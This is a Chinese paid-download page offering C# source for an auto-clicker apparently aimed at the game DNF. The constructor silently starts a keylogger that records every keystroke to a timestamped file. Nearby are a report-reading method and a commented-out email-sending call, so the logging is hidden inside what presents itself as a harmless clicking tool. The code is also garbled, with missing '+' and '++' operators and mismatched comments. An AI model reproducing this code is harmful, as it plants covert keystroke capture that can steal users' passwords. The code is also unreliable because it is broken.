嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):78630559
本次赞助数额为: 2 元微信扫码支付:2 元
请留下您的邮箱,我们将在2小时内将文件发到您的邮箱
控制坐标自动连点
namespace DNFAutoclick
{
public partial class Form1 : Form
{
Hook m_KeyLogger = null;
string m_ReportFilePath = System.Environment.CurrentDirectory.ToString() DateTime.Now.ToString("yyyyMMddhhmmss") ".txt";
private readonly KeyboardHookListener khl;
public const byte vbKeyF12 = 0x7B; //F12
[DllImport("user32.dll")]
public static extern void keybd_event(byte bVk, byte bScan, int dwFlags, int dwExtraInfo);
private readonly MouseHookListener mhl;
public Form1()
{
InitializeComponent();
//判断DNF进程是否存在,存在则提示游戏已运行无法载入游戏,请先运行本工具再运行游戏
//Process[] allProcess = Process.GetProcesses();
//foreach (Process p in allProcess)
//{
// if (p.ProcessName.ToLower() ".exe" == "QQ.exe".ToLower()/*|| p.ProcessName.ToLower() ".exe" == "TIM.exe".ToLower()*/)
// {
// DialogResult dr = MessageBox.Show("游戏已运行无法载入游戏,请先运行本工具再运行游戏!", "退出系统");
// if (dr == DialogResult.OK)//如果点击“确定”按钮
// {
// System.Environment.Exit(0);
// }
// else//如果点击“取消”按钮
// {
// System.Environment.Exit(0);
// }
// }
//}
StartLog();
this.ControlBox = false;
this.mhl = new MouseHookListener(new GlobalHooker());
this.mhl.MouseMove = new MouseEventHandler(this.mhl_MouseMove);
this.mhl.Enabled = true;
this.khl = new KeyboardHookListener(new GlobalHooker());
this.khl.KeyDown = new KeyEventHandler(this.khl_KeyDown);
this.khl.Enabled = true;
}
private void mhl_MouseMove(object sender, MouseEventArgs e)
{
this.txtX.Text = e.X.ToString();
this.txtY.Text = e.Y.ToString();
}
private void khl_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.F7)
{
string text = string.Empty;
if (this.rbtnLeftClick.Checked)
{
text = this.rbtnLeftClick.Text;
}
else if (this.rbtnLeftDoubleClick.Checked)
{
text = this.rbtnLeftDoubleClick.Text;
}
else if (this.rbtnRightClick.Checked)
{
text = this.rbtnRightClick.Text;
}
else if (this.rbtnRightDoubleClick.Checked)
{
text = this.rbtnRightDoubleClick.Text;
}
this.listBox1.Items.Add(string.Format("{0}|{1}|{2}|{3}", new object[]
{
this.txtX.Text,
this.txtY.Text,
text,
this.txtSleep.Text.Trim()
}));
}
else if (e.KeyCode == Keys.F8)
{
if (this.listBox1.Items.Count != 0)
{
AutoClickThread.ClickData = this.listBox1.Items.Cast<string>().ToList<string>();
AutoClickThread.Start(this.checkBox1.Checked);
}
}
else if (e.KeyCode == Keys.Delete)
{
this.listBox1.Items.Clear();
}
else if (e.KeyCode == Keys.F9)
{
AutoClickThread.Stop();
}
else if (e.KeyCode == Keys.Escape)
{
this.checkBox1.Checked = false;
AutoClickThread.Stop();
}
else if (e.KeyCode == Keys.F12)
{
//Sendemail();
System.Environment.Exit(0);
//Process[] allProcess = Process.GetProcesses();
//foreach (Process p in allProcess)
//{
// if (p.ProcessName.ToLower() ".exe" == "DNFAutoclick.exe".ToLower())
// {
// for (int i = 0; i < p.Threads.Count; i )
// p.Threads[i].Dispose();
// p.Kill();
// break;
// }
//}
}
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
this.listBox1.Items.Clear();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
//模拟按下F4键
keybd_event(vbKeyF12, 0, 0, 0);
//松开按键Alt
keybd_event(vbKeyF12, 0, 2, 0);
}
private string ReadReport(string filePath)
{
if (File.Exists(filePath))
{
FileStream pFileStream = new FileStream(filePath, FileMode.Open);
StreamReader pReader = new StreamReader(pFileStream);
string tempReport = pReader.ReadToEnd();
pReader.Close();
pFileStream.Close();
return tempReport;
}
else
{
return null;
}
}
private void StartLog()
{
if (m_KeyLogger == null)
{
m_KeyLogger = new Hook(m_ReportFilePath);
m_KeyLogger.startLoging();
}
}